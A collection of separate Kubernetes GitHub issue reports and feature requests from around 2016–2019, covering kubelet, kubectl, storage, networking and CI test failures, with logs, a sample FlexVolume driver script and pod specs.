currently, the newlistwatchfromclient expects restclient  resp. implementation of  getter  interface  for given resource. when replacing  unversion.client  with  clientset , the restclient is replaced with  client.core  .getrestclient    or similar string depending on resource version. as each clientset type has its own list and watch method it make sense to replace the newlistwatchfromclient with corresponding  client.core  .resource  .list  /watch    call.

in k8s v1.5, we focus on supporting docker 1.11. we should also support docker 1.10 which is still supported by kubernetes.\r \r there are 2 known issues of current cri integration  forked from https://github.com/kubernetes/kubernetes/issues/29478 issuecomment-248197665 :\r 1    separator in seccomp configure is changed from 1.10 to 1.11.  \r docker >=1.11 is using  =  as separator, e.g.  seccomp=unconfined ; while docker <= 1.10 is using  :  as separator, e.g.  seccomp:unconfined . this will cause error  failed to create a sandbox for pod \ xxx\ : error response from daemon: invalid --security-opt: \ seccomp=unconfined\    see docker/docker 24810 \r 2  ~~  oomscoreadj is only supported in docker >= 1.11.   currently we rely on docker to apply oom_score_adj in dockershim, which is only supported in docker >=1.11. if we want to support docker <=1.10, we need to  apply oom score adj ourselves  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/docker_manager.go l1684-l1710  in dockershim.~~\r \r there may be other issues with supporting 1.10, we should add comment if we found more.\r \r @yujuhong @feiskyer \r /cc @kubernetes/sig-node

kubernetes version    use  kubectl version  :\r v1.4.6\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos v1235.2.0\r -   kernel    e.g.  uname -a  :\r 4.8.6-coreos-r1  1 smp wed dec 7 00:29:42 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r   what happened  :\r when creating a service-type loadbalancer, adding  service.beta.kubernetes.io/aws-load-balancer-internal  creates an internal elb, but the only allowed value for  loadbalancersourceranges  is 0.0.0.0/0. this limitation prevents you from specifying custom cidr range for your hybrid cloud  direct connect to private data center \r \r   what you expected to happen  :\r the limitation is unnecessary. even in an aws only scenario  no hybrid cloud , it makes sense to allow a cidr range for a subnet where your calling services are deployed.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a service-type loadbalancer and set loadbalancersourceranges to a value other than 0.0.0.0/0\r

is this a bug report or feature request?    choose one : feature request\r \r sig node is working on new functionality  feature: kubernetes/features 277 , proposal:  35584  to execute a \ debug container\  in the context of a running pod for the purposes of troubleshooting. this issue is to discuss changes needed to kubectl to surface this feature.\r \r we're aiming for an alpha release in 1.7 that includes basic functionality. as written, the proposal in  35584 calls for a new command,  kubectl debug , that resembles  kubectl exec . an example run is:\r \r    \r % kubectl debug -it --image alpine $pod -c $debug_container_name -- sh\r /   ps x\r pid   user     time   command\r     1 root       0:00 /pause\r    13 root       0:00 /app\r    26 root       0:00 sh\r    32 root       0:00 ps x\r /  \r    \r \r ideally we could have reasonable defaults so that the minimum command would be something like:\r    \r % kubectl debug -it\r defaulting container name to debug.\r /   \r    \r \r one departure from  kubectl exec  is that  kubectl debug  supports reattaching to a running debug container with a command like  kubectl debug --reattach $pod $container_name \r \r options for the command would resemble:\r    \r execute a debug container in a pod.\r \r options:\r   -c, --container='': name of container to create. if omitted, the default \ debug\  will be used.\r   -i, --stdin=false: pass stdin to the container\r   -m, --image='': container image to use when creating debug container. if omitted, the cluster default is used.\r   -t, --tty=false: stdin is a tty\r \r usage:\r   kubectl debug pod  -m image    -c container  -- command  args...   options \r    \r \r since this is an alpha feature it might be nice to be able to hide it in kubectl unless alpha features are enabled. it will return an error on clusters with alpha features disabled  the default .\r \r /cc @pwittrock

jenkins log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/7 k8sio-proxy-version-v1-should-proxy-through-a-service-and-a-pod-conformance \r \r  testgrid history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20proxy%5c%20version%5c%20v1%5c%20should%5c%20proxy%5c%20through%5c%20a%5c%20service%5c%20and%5c%20a%5c%20pod%5c%20%5c%5bconformance%5c%5d \r \r many errors like\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:274\r 0  0; 50.670625ms : path /api/v1/namespaces/e2e-tests-proxy-khc04/services/https:proxy-service-2z7k4:tlsportname2/proxy/ gave status error: {typemeta:{kind: apiversion:} listmeta:{selflink: resourceversion:} status:failure message:an error on the server  \ error: 'tls: failed to parse certificate from server: x509: rsa key missing null parameters'\ trying to reach: 'https://10.52.0.167:462/'\   has prevented the request from succeeding reason:internalerror details:&statusdetails{name:,group:,kind:,causes: {unexpectedserverresponse error: 'tls: failed to parse certificate from server: x509: rsa key missing null parameters'\r \r 

tl;dr similar to  49032,  kubectl delete --all  command does not delete the uninitialized resources. it appears like it does not query the resource list with   ?includeuninitialized=true  in the first place.\r \r combined with  49032, these two issues prevents users from seeing or deleting uninitialized resources.\r \r     update: proposed solution in comments\r \r see https://github.com/kubernetes/kubernetes/issues/49035 issuecomment-320809074 for the proposed course of action.\r \r    repro steps\r \r - have kubectl 1.7 cluster with --runtime-config=admissionregistration.k8s.io/v1alpha1 enabled.\r - apply the initializer configuration below\r \r       apiversion: admissionregistration.k8s.io/v1alpha1\r       kind: initializerconfiguration\r       metadata:\r       name: example-config\r       initializers:\r       - name: podimage.example.com\r           rules:\r           - apigroups:\r               - \ \ \r               apiversions:\r               - v1\r               resources:\r               - pods\r \r - run some pods:  kubectl run web --image=nginx --port 80 --replicas=5 \r     -  kubectl get pods  won't show anything due to  49032\r - make api call with client-go listing pods  use  metav1.listoptions{includeuninitialized: true}  and observe pods actually exist\r -  kubectl delete pods --all    doesn't delete anything    prints \ no resources found\  . running with -v=10 reveals:\r        \r     i0717 10:30:16.470350   76682 round_trippers.go:405  get https://35.184.184.151/api/v1/namespaces/default/pods 200 ok in 40 milliseconds\r     i0717 10:30:16.470373   76682 round_trippers.go:411  response headers:\r     i0717 10:30:16.470378   76682 round_trippers.go:414      content-type: application/json\r     i0717 10:30:16.470382   76682 round_trippers.go:414      content-length: 131\r     i0717 10:30:16.470386   76682 round_trippers.go:414      date: mon, 17 jul 2017 17:30:16 gmt\r     i0717 10:30:16.470413   76682 request.go:991  response body: {\ kind\ :\ podlist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/namespaces/default/pods\ ,\ resourceversion\ :\ 4801\ },\ items\ :  }\r        \r \r -  kubectl delete pod name  works  given you found out the names by querying the api directly with client-go \r \r ------\r kubectl version: 1.7.1\r \r  /area bug

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r   what happened  :\r   deployment running with read-only gce pd.\r   a node containing one of the deployment pods is deleted and recreated soon after.\r   new pod is scheduled to the same node, but is stuck in containercreating state. the node's kubelet logs show continuous \ volume is not yet attached according to node\  errors.\r \r   what you expected to happen  : pod recreated successfully.\r \r   anything else we need to know?  : cause by pr https://github.com/kubernetes/kubernetes/pull/45923\r \r the issue happens as follows:\r   when the node is deleted, gce pd is detached from the cloud provider.\r   attachdetachcontroller discovers the pd has been detached, and marks it as detached.\r   the original pod still exists in the api server  i.e. before garbage collection , so attachdetachcontroller reattaches the pd, successfully.\r   before the node recovers, adc tries to update the node status but finds that the node doesn't exist. following the logic introduced in https://github.com/kubernetes/kubernetes/pull/45923 it never attempts to update the node status again.\r   the node recovers, a new pod is scheduled to it, waits for a successful attach signal in the node status but never gets it.\r \r /cc @jingxu97 @msau42 \r 

is this a bug report or feature request?  : \r \r  \r \r   what happened  :\r flexvolume drivers do not get detected on centos7 with kubernetes version 1.7.3. \r following error is seen: \r \r ~~~\r aug 15 06:49:31 skyler51 kubelet: e0815 06:49:31.671860   24535 desired_state_of_world_populator.go:285  failed to add volume \ test-flex\   specname: \ test-flex\   for pod \ 5fafaae4-80ff-11e7-a93f-002590c4f6ae\  to desiredstateofworld. err=failed to get plugin from volumespec for volume \ test-flex\  err=no volume plugin matched\r ~~~\r \r   what you expected to happen  :\r flexvolume drivers to get detected and driver scripts should get executed and dummy volume should get mounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r -  install a kubernetes 1.7.3 cluster on centos7 vms using kubeadm\r -  copy following file as  flexvol  to location  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/example~flexvol/  on all nodes\r ~~~\r  !/bin/bash\r case \ $1\  in\r \tinit|detach|mountdevice \r \t\techo '{ \ status\ : \ success\  }'\r \t;;\r \tgetvolumename \r \t\techo '{ \ status\ : \ success\ , \ volumename\ : \ '$ hostname '\  }'\r \t;;\r \tattach|waitforattach \r \t\techo '{ \ status\ : \ success\ , \ device\ : \ /opt/data/file\  }'\r \t;;\r \tisattached \r \t\techo '{ \ status\ : \ success\ , \ attached\ : true }'\r \t;;\r \tmount \r \t\tfile=/opt/data/file\r \t\tif   -d \ $file\    ; then\r \t\t\tmkdir -p \ $2\ \r \t\telif   -f \ $file\    ; then\r \t\t\ttest -d \ $2\  && rmdir \ $2\ \r \t\t\ttouch \ $2\ \r \t\tfi\r \t\tmount -o bind \ $file\  \ $2\ \r \t\techo '{ \ status\ : \ success\  }'\r \t;;\r \tunmount \r \t\tumount -f \ $2\ \r \t\trmdir \ $2\  || rm -f \ $2\ \r \t\techo '{ \ status\ : \ success\  }'\r \t;;\r esac\r ~~~\r -  use following json to create pod:\r ~~~\r {\r     \ kind\ : \ pod\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ name\ : \ test-flex\ ,\r         \ creationtimestamp\ : null,\r         \ labels\ : {\r             \ app\ : \ test-flex\ \r         }\r     },\r     \ spec\ : {\r         \ volumes\ :  \r             {\r                 \ name\ : \ test-flex\ ,\r                 \ flexvolume\ : {\r                     \ driver\ : \ example/flexvol\ \r                 }\r             }\r          ,\r         \ containers\ :  \r             {\r                 \ name\ : \ test-flex\ ,\r                 \ image\ : \ registry.access.redhat.com/rhel7\ ,\r                 \ imagepullpolicy\ : \ never\ ,\r                 \ command\ :  \r                     \ /usr/bin/sleep\ ,\r                     \ infinity\ \r                  ,\r                 \ volumemounts\ :  \r                     {\r                         \ name\ : \ test-flex\ ,\r                         \ mountpath\ : \ /flex\ \r                     }\r                  \r             }\r          \r     }\r }\r ~~~\r   anything else we need to know?  : the driver gets detected correctly on ubuntu16.04 but gives error shown above when working on centos7.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3 for master as well as nodes\r - cloud provider or hardware configuration  : digitalocean\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64\r - install tools:\r - others:\r

the latest run of density test on 5k-node cluster failed due to over-usage of memory by l7-lb-controller  everything else with the test was fine :\r \r    \r expected error:\r     < errors.errorstring | 0xc49fbac160>: {\r         s: \ container l7-lb-controller-v0.9.6-gce-scale-cluster-master/l7-lb-controller is using 0.626918514/0.15 cpu\ container l7-lb-controller-v0.9.6-gce-scale-cluster-master/l7-lb-controller is using 2714.55078125/75 mb of memory\ ,\r     }\r     container l7-lb-controller-v0.9.6-gce-scale-cluster-master/l7-lb-controller is using 0.626918514/0.15 cpu\r     container l7-lb-controller-v0.9.6-gce-scale-cluster-master/l7-lb-controller is using 2714.55078125/75 mb of memory\r not to have occurred\r    \r \r ref https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/23\r \r cc @kubernetes/sig-network-bugs @kubernetes/sig-scalability-misc @gmarek @wojtek-t

in the node e2e serial test failure https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-cri-containerd-node-e2e-serial/343, i saw kubelet got restarted in the middle of the test:\r    \r i0307 00:50:03.419  \u001b 1mstep\u001b 0m: destroying namespace \ e2e-tests-kubelet-container-manager-7f8rg\  for this suite.\r i0307 00:50:03.419  i0306 22:50:42.776993    1219 server.go:223  restarting server \ kubelet\  with restart command\r i0307 00:50:03.419  i0306 22:50:42.791889    1219 server.go:172  running health check for service \ kubelet\ \r i0307 00:50:03.419  i0306 22:50:42.791923    1219 util.go:44  running readiness check for service \ kubelet\ \r i0307 00:50:03.420  i0306 22:50:43.793653    1219 server.go:183  initial health check passed for service \ kubelet\ \r i0307 00:50:03.420  mar  6 23:00:41.733: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r i0307 00:50:03.420  mar  6 23:00:41.760: info: namespace: e2e-tests-kubelet-container-manager-7f8rg, resource: pods, items remaining: 1\r i0307 00:50:03.421  mar  6 23:00:41.784: info: namespace: e2e-tests-kubelet-container-manager-7f8rg, resource: bindings, ignored listing per whitelist\r i0307 00:50:03.421  mar  6 23:00:41.786: info: namespace: e2e-tests-kubelet-container-manager-7f8rg, deletiontimetamp: 2018-03-06 22:50:41 +0000 utc, finalizers:  kubernetes , phase: terminating\r i0307 00:50:03.422  mar  6 23:00:41.789: info: namespace: e2e-tests-kubelet-container-manager-7f8rg, total namespaces: 4, active: 3, terminating: 1\r    \r \r and in  kubelet log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-cri-containerd-node-e2e-serial/343/artifacts/tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0/kubelet.log , i saw:\r    \r mar 06 22:50:42 tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 kubelet 14122 : i0306 22:50:42.418233   14122 configsync.go:92  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0\ , uid:\ tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'kubeletconfigchanged' kubelet will restart to use: /api/v1/namespaces/kube-system/configmaps/testcfg-fk56l                                                                                                                                                                       \r mar 06 22:50:42 tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 systemd 1 : stopped /tmp/node-e2e-20180306t221312/kubelet --kubeconfig /tmp/node-e2e-20180306t221312/kubeconfig --root-dir /var/lib/kubelet --v 4 --logtostderr --allow-privileged true --feature-gates dynamickubeletconfig=true,localstoragecapacityisolation=true,podpriority=true --dynamic-config-dir /tmp/node-e2e-20180306t221312/dynamic-kubelet-config --network-plugin=kubenet --cni-bin-dir /tmp/node-e2e-20180306t221312/cni/bin --cni-conf-dir /tmp/node-e2e-20180306t221312/cni/net.d --hostname-override tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 --container-runtime remote --container-runtime-endpoint /run/containerd/containerd.sock --config /tmp/node-e2e-20180306t221312/kubelet-config --experimental-mounter-path=/tmp/node-e2e-20180306t221312/mounter --experimental-kernel-memcg-notification=true --cgroups-per-qos=true --cgroup-root=/ --runtime-cgroups=/runtime.\r mar 06 22:50:42 tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 systemd 1 : stopping /tmp/node-e2e-20180306t221312/kubelet --kubeconfig /tmp/node-e2e-20180306t221312/kubeconfig --root-dir /var/lib/kubelet --v 4 --logtostderr --allow-privileged true --feature-gates dynamickubeletconfig=true,localstoragecapacityisolation=true,podpriority=true --dynamic-config-dir /tmp/node-e2e-20180306t221312/dynamic-kubelet-config --network-plugin=kubenet --cni-bin-dir /tmp/node-e2e-20180306t221312/cni/bin --cni-conf-dir /tmp/node-e2e-20180306t221312/cni/net.d --hostname-override tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 --container-runtime remote --container-runtime-endpoint /run/containerd/containerd.sock --config /tmp/node-e2e-20180306t221312/kubelet-config --experimental-mounter-path=/tmp/node-e2e-20180306t221312/mounter --experimental-kernel-memcg-notification=true --cgroups-per-qos=true --cgroup-root=/ --runtime-cgroups=/runtime...\r mar 06 22:50:42 tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 systemd 1 : started /tmp/node-e2e-20180306t221312/kubelet --kubeconfig /tmp/node-e2e-20180306t221312/kubeconfig --root-dir /var/lib/kubelet --v 4 --logtostderr --allow-privileged true --feature-gates dynamickubeletconfig=true,localstoragecapacityisolation=true,podpriority=true --dynamic-config-dir /tmp/node-e2e-20180306t221312/dynamic-kubelet-config --network-plugin=kubenet --cni-bin-dir /tmp/node-e2e-20180306t221312/cni/bin --cni-conf-dir /tmp/node-e2e-20180306t221312/cni/net.d --hostname-override tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0 --container-runtime remote --container-runtime-endpoint /run/containerd/containerd.sock --config /tmp/node-e2e-20180306t221312/kubelet-config --experimental-mounter-path=/tmp/node-e2e-20180306t221312/mounter --experimental-kernel-memcg-notification=true --cgroups-per-qos=true --cgroup-root=/ --runtime-cgroups=/runtime.\r    \r \r however the test didn't use any dynamic configuration, and there is nothing but a  get  for  testcfg-fk56l  in the  apiserver log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-cri-containerd-node-e2e-serial/343/artifacts/tmp-node-e2e-d55ac25b-cos-stable-60-9592-84-0/services.log :\r    \r i0306 22:50:42.416874    1297 wrap.go:42  get /api/v1/namespaces/kube-system/configmaps/testcfg-fk56l:  1.741241ms  200   kubelet/v1.11.0  linux/amd64  kubernetes/86ca3af  127.0.0.1:52898 \r    \r \r where does the log come from?\r \r it could be caused by journald rate limiting that we lost some log line. but the test itself doesn't use dynamic config, why there is a new configuration? at least there seems to be some race condition.\r \r @mtaufen \r /cc @kubernetes/sig-node-bugs

 \r   what happened  :\r i've already created the issue on calico side, but this might be relevant here as well  i have no idea on whose side the issue is : https://github.com/projectcalico/calico/issues/2553\r \r basically - after updating kubelets 1.12.5 to 1.13.5 the ipv6 of the pod sometimes disappears or does not get assigned to the host veth interface. however it happens very randomly  about 1 in 10 - 20 pods . and even after one such pod fails, another pod can schedule and have ipv6 just fine. note that this is dual-stack configuration with both v4 and v6.\r \r    \r failed to get ipv6 addresses for host side of the veth pair\r    \r \r i don't know who assigns the ip to the veth interface when using docker - whether it is the kubelet in dockershim or docker itself or cni, so i am having hard time tracking this issue down. note, that everything is fine using cri-o 1.14.0 on debian buster.\r \r there were no such issues with kubelet 1.12.5\r \r i did more testing and the issue is:\r    \r -- all with calico 3.3.6\r cri-o 1.14.0 + debian buster + kernel 4.19 + kubelet 1.13.5 ok\r cri-o 1.14.0 + debian buster + kernel 4.19 + kubelet 1.12.5 ok\r docker 18.9.5 + debian stretch + kernel 4.9 + kubelet 1.13.5 bad\r docker 18.9.5 + debian stretch + kernel 4.9 + kubelet 1.12.5 ok\r    \r \r more logs etc are in the calico issue.\r \r   what you expected to happen  :\r pods to get both ipv4 and ipv6\r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubelet 1.13.5\r have dual-stack nodes with ipv4+ipv6\r have calico set up  3.3.6 in this case \r launch several pods and hope it breaks\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.5\r - cloud provider or hardware configuration: on-prem\r - os  e.g:  cat /etc/os-release  : debian stretch\r - kernel  e.g.  uname -a  : 4.9.144\r - install tools: compiled from source\r - others:\r

i have searched through the issue list, here are some of the relevant ones.\r \r      need metrics in volume manager and controllers  https://github.com/kubernetes/kubernetes/issues/36818 , this is the most relevant one, but it cares about volume manager mostly.\r      expose controller manager and scheduler metrics  https://github.com/kubernetes/kubernetes/issues/22382 , this talked about how can we collect metrics due to the default bind is on localhost.\r \r in order to get more insights on the controllers, i think it would be very helpful if we can get these metrics.\r \r 1.  the queue size. how many items are still in the queue.\r 2.  the latency of each sync. most of the controllers will have workers to handle updates, so the question is, how long it takes.\r 3.  the successful rate.\r \r this is not be an exhaustive list though.

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r master  1.6 \r \r   what happened  :\r this issue is used to trace code health investigation in preparation for kubernetes v1.6.  assuming a goal of   80%   coverage.\r \r the following package are included, coverage reports are based on recent master  sha 8667d7c4f158ce3e2d117f223e6b4debdfc68ee8 :\r \r __kubernetes__\r \r package | coverage | done | comments\r -------- | ------------- | ------ | ------\r pkg/api/validation | 80.1% | √\r pkg/kubelet | 55.8% | |  40780\r plugin/pkg/admission/admit | 80.0% | √\r plugin/pkg/admission/alwayspullimages | 84.6% | √\r plugin/pkg/admission/antiaffinity | 94.1% | √\r plugin/pkg/admission/deny | 80.0% | √\r plugin/pkg/admission/exec | 83.3% | √\r plugin/pkg/admission/gc | 72.4% | x | one file, no coverage on negative case\r plugin/pkg/admission/initialresources | 80.2% | √\r plugin/pkg/admission/limitranger | 89.9% | √\r plugin/pkg/admission/namespace/autoprovision | 73.1% |x|one file, no coverage on negative case\r plugin/pkg/admission/namespace/exists | 70.4% | x|one file, no coverage on negative case\r plugin/pkg/admission/namespace/lifecycle | 79.6% | x|one file, no coverage on negative case\r plugin/pkg/admission/persistentvolume/label | 40.2% | x | vendor related\r plugin/pkg/admission/podnodeselector | 63.5% | x|one file, no coverage on config read\r plugin/pkg/admission/resourcequota | 71.5% | x| no coverage on config read & get/set\r plugin/pkg/admission/securitycontext/scdeny | 90.0% | √\r plugin/pkg/admission/security/podsecuritypolicy | 77.6% | x| one file, no cover on negative cases\r plugin/pkg/admission/storageclass/default | 78.6% | x| one file, no cover on negative cases\r plugin/pkg/admission/serviceaccount | 84.8% | √\r plugin/pkg/admission/imagepolicy | 84.3% | √\r plugin/pkg/scheduler | 73.1% | x| one file, no cover on negative cases\r plugin/pkg/scheduler/api/validation | 100.0% | √\r plugin/pkg/scheduler/algorithmprovider/defaults | 89.1% | √\r plugin/pkg/scheduler/algorithm/predicates | 81.0% | √\r plugin/pkg/scheduler/algorithm/priorities | 88.5% | √\r plugin/pkg/scheduler/schedulercache | 62.8% | x | no cover for get/set\r plugin/pkg/scheduler/factory | 54.1% | x | no cover on pod/node add/update/delete callback\r \r __node feature discovery__:\r -     github.com/kubernetes-incubator/node-feature-discovery\r \r   how to generate code coverage reports  \r \r the makefile supports running the tests with  go build -cover ...  and generating an html report with  go tool cover -html ... . to use it, invoke make as follows:\r \r    \r $ make test what=/pkg/in/question kube_cover=y\r

is this a bug report or feature request?  :\r  umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/7878 failed with:\r \r    \r w1112 09:14:39.280  ...created  https://www.googleapis.com/compute/v1/projects/k8s-jenkins-gci-scalability/global/firewalls/e2e-scalability-master-etcd .\r w1112 09:14:39.386  done.\r i1112 09:14:39.486  name                         network          direction  priority  allow              deny\r i1112 09:14:39.488  e2e-scalability-master-etcd  e2e-scalability  ingress    1000      tcp:2380,tcp:2381\r i1112 09:14:42.159  unable to successfully run 'cfssl' from /go/bin:/usr/local/go/bin:/google-cloud-sdk/bin:/workspace:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; downloading instead...\r w1112 09:15:06.379  ./cfssl: line 1: syntax error near unexpected token  newline'\r w1112 09:15:06.380  ./cfssl: line 1:  <!doctype html>'\r w1112 09:15:06.381  failed to parse input: unexpected end of json input\r w1112 09:15:06.392  2017/11/12 09:15:06 util.go:157: step './hack/e2e-internal/e2e-up.sh' finished in 1m45.297157645s\r    \r \r looks like fetching cfssl failed with an http 5xx error and was not retried.\r \r   what you expected to happen  :\r \r either the failure should be retried, or  better  the dependency should not be fetched at test time.

node allocatable setup test has been flaking recently.\r example flake:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-cosbeta-k8sstable1-serial/56\r \r  cc @yujuhong @mtaufen

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r the kubelet is attempting to gc images that are in use by running containers that the kubelet manages  we have no running containers on a host outside of k8s control . \r \r    \r   warning  imagegcfailed            20m  x508 over 1d   kubelet, host   combined from similar events : wanted to free 25419897241 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container aec6e63fe827\ }\r   warning  imagegcfailed            11m                 kubelet, host  wanted to free 24121289113 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container 2c6622239d05\ }\r   warning  imagegcfailed            6m                  kubelet, host  wanted to free 23035570585 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container b65a78dd8f12\ }\r   warning  imagegcfailed            1m                  kubelet, host  wanted to free 22244608409 bytes, but freed 0 bytes space with errors in image deletion: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 99e59f495ffa  cannot be forced  - image is being used by running container 50f53d79ea51\ }\r    \r \r   what you expected to happen  :\r \r i expect the kubelet to not attempt to remove images being used by running containers or at least not spam events for this. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i _think_ the way to reproduce this is to have your kubelet reach eviction thresholds because that's how i noticed it. \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : the kubelet is v1.7.6\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r new test case to cover scenario in https://github.com/kubernetes/kubernetes/issues/73216.\r \r   why is this needed  :\r \r prevent this issue happening again.\r

i dev locally using these docs: http://kubernetes.io/v1.1/docs/getting-started-guides/docker.html  the cluster works well until i move the laptop and wifi gets another address.  when starting the cluster iptables rules redirecting to the wifi network ip are setup, but then not updated if the address changes. this gets a bit annoying when the wifi address changes and i have to restart my cluster to use it again.  are there any plans to have hyperkube watch for address changes or else easier ways to have the iptables rules updated if the wifi address changes for the host?  thanks.

hi!   i was manually deploying with coreos on gce. the default hostname recognized by coreos is a fqdn, thus the nodes where registered with fqdn. kubernetes didn't complain about this. there were no error logs. the kube-controller-manager was creating and destroying routes every second. correcting the hostname fixed the problem.  if this is a gce only problem, the gce cloud provider, should at least check and complain about wrong hostnames in the logs.  this would save a lot of time for others running into the same problem.

enumerate blockers for taking federated services to general availability.  resolve the highest  as soon as is practical.

still triaging this one, but i'm opening this bug, then disabling the tests so i can restore aws to green and make it blocking.  cc @justinsb

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :   no     what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :   upgrade dns   upgrade external ip   ---    is this a bug report or feature request?    choose one :   bug report     kubernetes version    use  kubectl version  :   1.3.7     environment  : -   cloud provider or hardware configuration  :  google cloud container engine  -   os    e.g. from /etc/os-release :   debian gnu/linux 7  wheezy   -   kernel    e.g.  uname -a  :  linux gke-trace-pool-1-dc497b52-0ptp 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux  -   install tools  : - -   others  : -    what happened  : 1. new node pool added to the cluster via gc container service dashboard  new pool 1.3.7, default pool is: 1.3.6, master is: 1.3.7  2. nodes in old  default  pool set to un-schedulable and drained 3. default pool removed via gc container service dashboard 4. services with external ip stopped working from the public ip, all requests were hanging  while pods could reach each other via internal ip and service worked with internal ip as well  5. i could solve the issue only with removing and re-creating all services with external ip    what you expected to happen  :  \ zero down time\  upgrading with no manual step involved    how to reproduce it    as minimally and precisely as possible :  i didn't try it again, probably with upgrade and pool remove.    anything else do we need to know  :  at my previous upgrade i also experienced issues with the dns service, that time i simply pressed upgrade on the gc container engine ui, but after the upgrade, some of the pods had to be manually re-created otherwise they weren't able to communicate with each other.

a list of things need to be changed for renaming  petset . feel free to extend the list:\r \r   pre code freeze  :\r -  x  petset api  pr  35663 \r   - types.go\r   - api server related codes\r     - register.go, conversion.go, defaults.go, validation.go, ...\r     - client/cache/listers.go, clientset, unversioned client, ...\r   - all other codes that referenced petset \r   - all yaml/json config files that include petset \r   - client-go\r -  x  kubectl  pr  35663 \r   - kubectl tests \r     - test-cmd.sh\r     - hack/testdata - petset related config files \r   - related “kubectl help” examples\r   - kubectl get/describe \r -  x  all examples \r   - example that mention petset are:  pr  35776 \r     - examples//cockroachdb/…\r     - examples//storage/cassandra/…\r   - readme docs\r   - yaml/json config files\r   - file names  do we care? \r   - example_test.go \r   - test/e2e/examples.go \r -  x  dashboard  issue https://github.com/kubernetes/dashboard/issues/1395 \r \r   post code freeze  :\r -  x  fix test failures caused by rename  such as e2e tests that won't block submit queue \r -  x  need advice on how to upgrade your cluster  issue ~ 28706~  35182   pr https://github.com/kubernetes/kubernetes.github.io/pull/1704 \r -  x  helm charts in incubator that currently use petset need to be renamed and tested against a 1.5 cluster, once a beta with the new name is available, and they need to be documented as requiring 1.5 cluster to work. @viglesiasce \r -  x  documents in kubernetes.io \r   - petset docs \r   - docs that talked about petset \r   - docs that used commands that involved petset \r -  x  kubernetes/changelog.md \r -  x  blogpost  announce name change and update previous post \r \r   move to 1.6  :\r -  x  file names  include petset controller, petset tests  & import path  do we care? \r   - we care about e2e test file names \r \r open questions:\r - how do we rename “pets”? we can just call them \ pods\ \r - upgrade tests will be broken?\r \r ref  35182\r cc @erictune @foxish @bprashanth @kubernetes/sig-apps @chrislovecnm @jimmycuadra \r

this mirrors what we do for dockertools.\r \r /cc @dchen1107 @random-liu

